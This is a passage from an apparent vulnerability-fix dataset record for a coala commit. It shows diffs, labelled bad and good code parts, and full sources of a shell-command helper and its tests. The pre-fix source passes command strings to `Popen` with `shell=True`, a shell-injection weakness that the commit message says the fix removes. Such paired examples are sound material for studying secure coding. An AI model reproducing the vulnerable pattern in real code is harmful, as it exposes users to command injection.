beforehand\n+ using `shlex.split()`.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n", "add": 16, "remove": 6, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and returns the read stdout and stderr data.", " This function waits for the process to exit.", " :param command: The command to run on shell.", " that is used to spawn the process (except `shell`,", " `stdout`, `stderr`, `stdin` and `universal_newlines`, a", " `TypeError` is raised then)."], "goodparts": [" Runs a single command in shell and returns the read stdout and stderr data.", " This function waits for the process (created using `subprocess.Popen()`) to", " exit.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass `shell=True` like you", " would do for `subprocess.Popen()`.", " See also `run_interactive_shell_command()`.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using `shlex.split()`.", " that is used to spawn the process (except `stdout`,", " `stderr`, `stdin` and `universal_newlines`, a `TypeError`", " is raised then)."]}, {"diff": "\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n+ out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out_0, _ = run_shell_command([\"echo\", \"$0\"])\n+ out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"", "add": 2, "remove": 2, "filename": "/coalib/misc/Shell.py", "badparts": [" out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])", " out_0, _ = run_shell_command([\"echo\", \"$0\"])"], "goodparts": [" out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)", " out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)"]}], "source": "\nfrom contextlib import contextmanager from subprocess import PIPE, Popen from coalib.parsing.StringProcessing import escape @contextmanager def run_interactive_shell_command(command, **kwargs): \"\"\" Runs a command in shell and provides stdout, stderr and stdin streams. This function creates a context manager that sets up the process, returns to caller, closes streams and waits for process to exit on leaving. The process is opened in `universal_newlines` mode. :param command: The command to run on shell. :param kwargs: Additional keyword arguments to pass to `subprocess.Popen` that is used to spawn the process(except `shell`, `stdout`, `stderr`, `stdin` and `universal_newlines`, a `TypeError` is raised then). :return: A context manager yielding the process started from the command. \"\"\" process=Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE, universal_newlines=True, **kwargs) try: yield process finally: process.stdout.close() process.stderr.close() process.stdin.close() process.wait() def run_shell_command(command, stdin=None, **kwargs): \"\"\" Runs a command in shell and returns the read stdout and stderr data. This function waits for the process to exit. :param command: The command to run on shell. :param stdin: Initial input to send to the process. :param kwargs: Additional keyword arguments to pass to `subprocess.Popen` that is used to spawn the process(except `shell`, `stdout`, `stderr`, `stdin` and `universal_newlines`, a `TypeError` is raised then). :return: A tuple with `(stdoutstring, stderrstring)`. \"\"\" with run_interactive_shell_command(command, **kwargs) as p: ret=p.communicate(stdin) return ret def get_shell_type(): \"\"\" Finds the current shell type based on the outputs of common pre-defined variables in them. This is useful to identify which sort of escaping is required for strings. :return: The shell type. This can be either \"powershell\" if Windows Powershell is detected, \"cmd\" if command prompt is been detected or \"sh\" if it's neither of these. \"\"\" out_hostname, _=run_shell_command([\"echo\", \"$host.name\"]) if out_hostname.strip()==\"ConsoleHost\": return \"powershell\" out_0, _=run_shell_command([\"echo\", \"$0\"]) if out_0.strip()==\"\" and out_0.strip()==\"\": return \"cmd\" return \"sh\" def prepare_string_argument(string, shell=get_shell_type()): \"\"\" Prepares a string argument for being passed as a parameter on shell. On `sh` this function effectively encloses the given string with quotes(either '' or \"\", depending on content). :param string: The string to prepare for shell. :param shell: The shell platform to prepare string argument for. If it is not \"sh\" it will be ignored and return the given string without modification. :return: The shell-prepared string. \"\"\" if shell==\"sh\": return '\"' +escape(string, '\"') +'\"' else: return string def escape_path_argument(path, shell=get_shell_type()): \"\"\" Makes a raw path ready for using as parameter in a shell command(escapes illegal characters, surrounds with quotes etc.). :param path: The path to make ready for shell. :param shell: The shell platform to escape the path argument for. Possible values are \"sh\", \"powershell\", and \"cmd\"(others will be ignored and return the given path without modification). :return: The escaped path argument. \"\"\" if shell==\"cmd\": return '\"' +escape(path, '\"', '^') +'\"' elif shell==\"sh\": return escape(path, \" \") else: return path ", "sourceWithComments": "from contextlib import contextmanager\nfrom subprocess import PIPE, Popen\n\nfrom coalib.parsing.StringProcessing import escape\n\n\n@contextmanager\ndef run_interactive_shell_command(command, **kwargs):\n \"\"\"\n Runs a command in shell and provides stdout, stderr and stdin streams.\n\n This function creates a context manager that sets up the process, returns\n to caller, closes streams and waits for process to exit on leaving.\n\n The process is opened in `universal_newlines` mode.\n\n :param command: The command to run on shell.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n that is used to spawn the process (except `shell`,\n `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n `TypeError` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n process = Popen(command,\n shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n universal_newlines=True,\n **kwargs)\n try:\n yield process\n finally:\n process.stdout.close()\n process.stderr.close()\n process.stdin.close()\n process.wait()\n\n\ndef run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n Runs a command in shell and returns the read stdout and stderr data.\n\n This function waits for the process to exit.\n\n :param command: The command to run on shell.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n that is used to spawn the process (except `shell`,\n `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n `TypeError` is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n ret = p.communicate(stdin)\n return ret\n\n\ndef get_shell_type(): # pragma: no cover\n \"\"\"\n Finds the current shell type based on the outputs of common pre-defined\n variables in them. This is useful to identify which sort of escaping\n is required for strings.\n\n :return: The shell type. This can be either \"powershell\" if Windows\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n out_0, _ = run_shell_command([\"echo\", \"$0\"])\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"\n\n\ndef prepare_string_argument(string, shell=get_shell_type()):\n \"\"\"\n Prepares a string argument for being passed as a parameter on shell.\n\n On `sh` this function effectively encloses the given string\n with quotes (either '' or \"\", depending on content).\n\n :param string: The string to prepare for shell.\n :param shell: The shell platform to prepare string argument for.\n If it is not \"sh\" it will be ignored and return the\n given string without modification.\n :return: The shell-prepared string.\n \"\"\"\n if shell == \"sh\":\n return '\"' + escape(string, '\"') + '\"'\n else:\n return string\n\n\ndef escape_path_argument(path, shell=get_shell_type()):\n \"\"\"\n Makes a raw path ready for using as parameter in a shell command (escapes\n illegal characters, surrounds with quotes etc.).\n\n :param path: The path to make ready for shell.\n :param shell: The shell platform to escape the path argument for. Possible\n values are \"sh\", \"powershell\", and \"cmd\" (others will be\n ignored and return the given path without modification).\n :return: The escaped path argument.\n \"\"\"\n if shell == \"cmd\":\n # If a quote (\") occurs in path (which is illegal for NTFS file\n # systems, but maybe for others), escape it by preceding it with\n # a caret (^).\n return '\"' + escape(path, '\"', '^') + '\"'\n elif shell == \"sh\":\n return escape(path, \" \")\n else:\n # Any other non-supported system doesn't get a path escape.\n return path\n"}, "/coalib/tests/bearlib/abstractions/LintTest.py": {"changes": [{"diff": "\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n- self.uut.executable = \"more\"\n+ if platform.system() == \"Windows\":\n+ # Windows maps `more.com` to `more` only in shell, but `Lint`\n+ # doesn't use it.\n+ self.uut.executable = \"more.com\"\n+ else:\n+ self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: outpu", "add": 6, "remove": 1, "filename": "/coalib/tests/bearlib/abstractions/LintTest.py", "badparts": [" self.uut.executable = \"more\""], "goodparts": [" if platform.system() == \"Windows\":", " self.uut.executable = \"more.com\"", " else:", " self.uut.executable = \"more\""]}], "source": "\nimport os import unittest from coalib.bearlib.abstractions.Lint import Lint from coalib.misc.ContextManagers import prepare_file from coalib.misc.Shell import escape_path_argument from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY from coalib.results.SourceRange import SourceRange from coalib.settings.Section import Section class LintTest(unittest.TestCase): def setUp(self): section=Section(\"some_name\") self.uut=Lint(section, None) def test_invalid_output(self): out=list(self.uut.process_output( [\"1.0|0: Info message\\n\", \"2.2|1: Normal message\\n\", \"3.4|2: Major message\\n\"], \"a/file.py\", ['original_file_lines_placeholder'])) self.assertEqual(len(out), 3) self.assertEqual(out[0].origin, \"Lint\") self.assertEqual(out[0].affected_code[0], SourceRange.from_values(\"a/file.py\", 1, 0)) self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO) self.assertEqual(out[0].message, \"Info message\") self.assertEqual(out[1].affected_code[0], SourceRange.from_values(\"a/file.py\", 2, 2)) self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL) self.assertEqual(out[1].message, \"Normal message\") self.assertEqual(out[2].affected_code[0], SourceRange.from_values(\"a/file.py\", 3, 4)) self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR) self.assertEqual(out[2].message, \"Major message\") def test_custom_regex(self): self.uut.output_regex=(r'(?P\\w+)\\|' r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\w+):(?P.*)') self.uut.severity_map={\"I\": RESULT_SEVERITY.INFO} out=list(self.uut.process_output( [\"info_msg|1.0|2.3|I: Info message\\n\"], 'a/file.py', ['original_file_lines_placeholder'])) self.assertEqual(len(out), 1) self.assertEqual(out[0].affected_code[0].start.line, 1) self.assertEqual(out[0].affected_code[0].start.column, 0) self.assertEqual(out[0].affected_code[0].end.line, 2) self.assertEqual(out[0].affected_code[0].end.column, 3) self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO) self.assertEqual(out[0].origin, 'Lint(info_msg)') def test_valid_output(self): out=list(self.uut.process_output( [\"Random line that shouldn't be captured\\n\", \"*************\\n\"], 'a/file.py', ['original_file_lines_placeholder'])) self.assertEqual(len(out), 0) def test_stdin_input(self): with prepare_file([\"abcd\", \"efgh\"], None) as(lines, filename): self.uut.executable=\"more\" self.uut.use_stdin=True self.uut.use_stderr=False self.uut.process_output=lambda output, filename, file: output out=self.uut.lint(file=lines) self.assertTrue((\"abcd\\n\", \"efgh\\n\")==out or (\"abcd\\n\", \"efgh\\n\", \"\\n\")==out) def test_stderr_output(self): self.uut.executable=\"echo\" self.uut.arguments=\"hello\" self.uut.use_stdin=False self.uut.use_stderr=True self.uut.process_output=lambda output, filename, file: output out=self.uut.lint(\"unused_filename\") self.assertEqual((), out) self.uut.use_stderr=False out=self.uut.lint(\"unused_filename\") self.assertEqual(('hello\\n',), out) def assert_warn(line): assert line==\"hello\" old_warn=self.uut.warn self.uut.warn=assert_warn self.uut._print_errors([\"hello\", \"\\n\"]) self.uut.warn=old_warn def test_gives_corrected(self): self.uut.gives_corrected=True out=tuple(self.uut.process_output([\"a\", \"b\"], \"filename\",[\"a\", \"b\"])) self.assertEqual((), out) out=tuple(self.uut.process_output([\"a\", \"b\"], \"filename\",[\"a\"])) self.assertEqual(len(out), 1) def test_missing_binary(self): old_binary=Lint.executable invalid_binary=\"invalid_binary_which_doesnt_exist\" Lint.executable=invalid_binary self.assertEqual(Lint.check_prerequisites(), \"'{}' is not installed.\".format(invalid_binary)) Lint.executable=\"echo\" self.assertTrue(Lint.check_prerequisites()) del Lint.executable self.assertTrue(Lint.check_prerequisites()) Lint.executable=old_binary def test_config_file_generator(self): self.uut.executable=\"echo\" self.uut.arguments=\"-c{config_file}\" self.assertEqual( self.uut._create_command(config_file=\"configfile\").strip(), \"echo -c \" +escape_path_argument(\"configfile\")) def test_config_file_generator(self): self.uut.executable=\"echo\" self.uut.config_file=lambda:[\"config line1\"] config_filename=self.uut.generate_config_file() self.assertTrue(os.path.isfile(config_filename)) os.remove(config_filename) self.uut.lint(\"filename\") ", "sourceWithComments": "import os\nimport unittest\n\nfrom coalib.bearlib.abstractions.Lint import Lint\nfrom coalib.misc.ContextManagers import prepare_file\nfrom coalib.misc.Shell import escape_path_argument\nfrom coalib.results.RESULT_SEVERITY import RESULT_SEVERITY\nfrom coalib.results.SourceRange import SourceRange\nfrom coalib.settings.Section import Section\n\n\nclass LintTest(unittest.TestCase):\n\n def setUp(self):\n section = Section(\"some_name\")\n self.uut = Lint(section, None)\n\n def test_invalid_output(self):\n out = list(self.uut.process_output(\n [\"1.0|0: Info message\\n\",\n \"2.2|1: Normal message\\n\",\n \"3.4|2: Major message\\n\"],\n \"a/file.py\",\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 3)\n self.assertEqual(out[0].origin, \"Lint\")\n\n self.assertEqual(out[0].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 1, 0))\n self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)\n self.assertEqual(out[0].message, \"Info message\")\n\n self.assertEqual(out[1].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 2, 2))\n self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL)\n self.assertEqual(out[1].message, \"Normal message\")\n\n self.assertEqual(out[2].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 3, 4))\n self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR)\n self.assertEqual(out[2].message, \"Major message\")\n\n def test_custom_regex(self):\n self.uut.output_regex = (r'(?P\\w+)\\|'\n r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\w+): (?P.*)')\n self.uut.severity_map = {\"I\": RESULT_SEVERITY.INFO}\n out = list(self.uut.process_output(\n [\"info_msg|1.0|2.3|I: Info message\\n\"],\n 'a/file.py',\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 1)\n self.assertEqual(out[0].affected_code[0].start.line, 1)\n self.assertEqual(out[0].affected_code[0].start.column, 0)\n self.assertEqual(out[0].affected_code[0].end.line, 2)\n self.assertEqual(out[0].affected_code[0].end.column, 3)\n self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)\n self.assertEqual(out[0].origin, 'Lint (info_msg)')\n\n def test_valid_output(self):\n out = list(self.uut.process_output(\n [\"Random line that shouldn't be captured\\n\",\n \"*************\\n\"],\n 'a/file.py',\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 0)\n\n def test_stdin_input(self):\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: output\n\n out = self.uut.lint(file=lines)\n # Some implementations of `more` add an extra newline at the end.\n self.assertTrue((\"abcd\\n\", \"efgh\\n\") == out or\n (\"abcd\\n\", \"efgh\\n\", \"\\n\") == out)\n\n def test_stderr_output(self):\n self.uut.executable = \"echo\"\n self.uut.arguments = \"hello\"\n self.uut.use_stdin = False\n self.uut.use_stderr = True\n self.uut.process_output = lambda output, filename, file: output\n out = self.uut.lint(\"unused_filename\")\n self.assertEqual((), out) # stderr is used\n\n self.uut.use_stderr = False\n out = self.uut.lint(\"unused_filename\")\n self.assertEqual(('hello\\n',), out) # stdout is used\n\n def assert_warn(line):\n assert line == \"hello\"\n old_warn = self.uut.warn\n self.uut.warn = assert_warn\n self.uut._print_errors([\"hello\", \"\\n\"])\n self.uut.warn = old_warn\n\n def test_gives_corrected(self):\n self.uut.gives_corrected = True\n out = tuple(self.uut.process_output([\"a\", \"b\"], \"filename\", [\"a\", \"b\"]))\n self.assertEqual((), out)\n out = tuple(self.uut.process_output([\"a\", \"b\"], \"filename\", [\"a\"]))\n self.assertEqual(len(out), 1)\n\n def test_missing_binary(self):\n old_binary = Lint.executable\n invalid_binary = \"invalid_binary_which_doesnt_exist\"\n Lint.executable = invalid_binary\n\n self.assertEqual(Lint.check_prerequisites(),\n \"'{}' is not installed.\".format(invalid_binary))\n\n # \"echo\" is existent on nearly all platforms.\n Lint.executable = \"echo\"\n self.assertTrue(Lint.check_prerequisites())\n\n del Lint.executable\n self.assertTrue(Lint.check_prerequisites())\n\n Lint.executable = old_binary\n\n def test_config_file_generator(self):\n self.uut.executable = \"echo\"\n self.uut.arguments = \"-c {config_file}\"\n\n self.assertEqual(\n self.uut._create_command(config_file=\"configfile\").strip(),\n \"echo -c \" + escape_path_argument(\"configfile\"))\n\n def test_config_file_generator(self):\n self.uut.executable = \"echo\"\n self.uut.config_file = lambda: [\"config line1\"]\n config_filename = self.uut.generate_config_file()\n self.assertTrue(os.path.isfile(config_filename))\n os.remove(config_filename)\n\n # To complete coverage of closing the config file and check if any\n # errors are thrown there.\n self.uut.lint(\"filename\")\n"}, "/coalib/tests/misc/ShellTest.py": {"changes": [{"diff": "\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n", "add": 2, "remove": 4, "filename": "/coalib/tests/misc/ShellTest.py", "badparts": [" return \" \".join(", " escape_path_argument(s) for s in (", " sys.executable,", " scriptname)))"], "goodparts": [" return (sys.executable,", " scriptname))"]}, {"diff": "\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "add": 1, "remove": 1, "filename": "/coalib/tests/misc/ShellTest.py", "badparts": [" with run_interactive_shell_command(\"some_command\", shell=False):"], "goodparts": [" with run_interactive_shell_command(\"some_command\", stdout=None):"]}], "source": "\nimport os import sys import unittest from coalib.misc.Shell import( escape_path_argument, prepare_string_argument, run_interactive_shell_command, run_shell_command) class EscapePathArgumentTest(unittest.TestCase): def test_escape_path_argument_sh(self): _type=\"sh\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/usr/a-dir/\", _type), \"/home/usr/a-dir/\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\") self.assertEqual( escape_path_argument(\"/home/us r/a-dir with spaces/x/\", _type), \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\") self.assertEqual( escape_path_argument( \"relative something/with cherries and/pickles.delicious\", _type), \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\") def test_escape_path_argument_cmd(self): _type=\"cmd\" self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type), \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\") self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type), \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\", _type), \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\my-custom relative tool\\\\\", _type), \"\\\"System32\\\\my-custom relative tool\\\\\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type), \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\") def test_escape_path_argument_unsupported(self): _type=\"INVALID\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us r/a-file with spaces.bla\") self.assertEqual( escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type), \"|home|us r|a*dir with spaces|x|\") self.assertEqual( escape_path_argument(\"system|a|b|c?d\", _type), \"system|a|b|c?d\") class RunShellCommandTest(unittest.TestCase): @staticmethod def construct_testscript_command(scriptname): return \" \".join( escape_path_argument(s) for s in( sys.executable, os.path.join(os.path.dirname(os.path.realpath(__file__)), \"run_shell_command_testfiles\", scriptname))) def test_run_interactive_shell_command(self): command=RunShellCommandTest.construct_testscript_command( \"test_interactive_program.py\") with run_interactive_shell_command(command) as p: self.assertEqual(p.stdout.readline(), \"test_program X\\n\") self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\") p.stdin.write(\"33\\n\") p.stdin.flush() self.assertEqual(p.stdout.readline(), \"33\\n\") self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\") def test_run_interactive_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", weird_parameter=30): pass with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", shell=False): pass def test_run_shell_command_without_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_program.py\") stdout, stderr=run_shell_command(command) expected=(\"test_program Z\\n\" \"non-interactive mode.\\n\" \"Exiting...\\n\") self.assertEqual(stdout, expected) self.assertEqual(stderr, \"\") def test_run_shell_command_with_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_input_program.py\") stdout, stderr=run_shell_command(command, \"1 4 10 22\") self.assertEqual(stdout, \"37\\n\") self.assertEqual(stderr, \"\") stdout, stderr=run_shell_command(command, \"1 p 5\") self.assertEqual(stdout, \"\") self.assertEqual(stderr, \"INVALID INPUT\\n\") def test_run_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\") with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", universal_newlines=False) class PrepareStringArgumentTest(unittest.TestCase): def setUp(self): self.test_strings=(\"normal_string\", \"string with spaces\", 'string with quotes\"a', \"string with s-quotes'b\", \"bsn \\n A\", \"unrecognized \\\\q escape\") def test_prepare_string_argument_sh(self): expected_results=('\"normal_string\"', '\"string with spaces\"', '\"string with quotes\\\\\"a\"', '\"string with s-quotes\\'b\"', '\"bsn \\n A\"', '\"unrecognized \\\\q escape\"') for string, result in zip(self.test_strings, expected_results): self.assertEqual(prepare_string_argument(string, \"sh\"), result) def test_prepare_string_argument_unsupported(self): for string in self.test_strings: self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"), string) ", "sourceWithComments": "import os\nimport sys\nimport unittest\n\nfrom coalib.misc.Shell import (\n escape_path_argument, prepare_string_argument,\n run_interactive_shell_command, run_shell_command)\n\n\nclass EscapePathArgumentTest(unittest.TestCase):\n\n def test_escape_path_argument_sh(self):\n _type = \"sh\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-dir/\", _type),\n \"/home/usr/a-dir/\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\",\n _type),\n \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-dir with spaces/x/\",\n _type),\n \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\")\n self.assertEqual(\n escape_path_argument(\n \"relative something/with cherries and/pickles.delicious\",\n _type),\n \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\")\n\n def test_escape_path_argument_cmd(self):\n _type = \"cmd\"\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type),\n \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\")\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type),\n \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\",\n _type),\n \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\",\n _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\my-custom relative tool\\\\\",\n _type),\n \"\\\"System32\\\\my-custom relative tool\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type),\n \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\")\n\n def test_escape_path_argument_unsupported(self):\n _type = \"INVALID\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type),\n \"/home/us r/a-file with spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type),\n \"|home|us r|a*dir with spaces|x|\")\n self.assertEqual(\n escape_path_argument(\"system|a|b|c?d\", _type),\n \"system|a|b|c?d\")\n\n\nclass RunShellCommandTest(unittest.TestCase):\n\n @staticmethod\n def construct_testscript_command(scriptname):\n return \" \".join(\n escape_path_argument(s) for s in (\n sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n scriptname)))\n\n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_interactive_program.py\")\n\n with run_interactive_shell_command(command) as p:\n self.assertEqual(p.stdout.readline(), \"test_program X\\n\")\n self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\")\n p.stdin.write(\"33\\n\")\n p.stdin.flush()\n self.assertEqual(p.stdout.readline(), \"33\\n\")\n self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\")\n\n def test_run_interactive_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\",\n weird_parameter=30):\n pass\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\", shell=False):\n pass\n\n def test_run_shell_command_without_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_program.py\")\n\n stdout, stderr = run_shell_command(command)\n\n expected = (\"test_program Z\\n\"\n \"non-interactive mode.\\n\"\n \"Exiting...\\n\")\n self.assertEqual(stdout, expected)\n self.assertEqual(stderr, \"\")\n\n def test_run_shell_command_with_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_input_program.py\")\n\n stdout, stderr = run_shell_command(command, \"1 4 10 22\")\n\n self.assertEqual(stdout, \"37\\n\")\n self.assertEqual(stderr, \"\")\n\n stdout, stderr = run_shell_command(command, \"1 p 5\")\n\n self.assertEqual(stdout, \"\")\n self.assertEqual(stderr, \"INVALID INPUT\\n\")\n\n def test_run_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\")\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", universal_newlines=False)\n\n\nclass PrepareStringArgumentTest(unittest.TestCase):\n\n def setUp(self):\n self.test_strings = (\"normal_string\",\n \"string with spaces\",\n 'string with quotes\"a',\n \"string with s-quotes'b\",\n \"bsn \\n A\",\n \"unrecognized \\\\q escape\")\n\n def test_prepare_string_argument_sh(self):\n expected_results = ('\"normal_string\"',\n '\"string with spaces\"',\n '\"string with quotes\\\\\"a\"',\n '\"string with s-quotes\\'b\"',\n '\"bsn \\n A\"',\n '\"unrecognized \\\\q escape\"')\n\n for string, result in zip(self.test_strings, expected_results):\n self.assertEqual(prepare_string_argument(string, \"sh\"),\n result)\n\n def test_prepare_string_argument_unsupported(self):\n for string in self.test_strings:\n self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"),\n string)\n"}}, "msg": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a 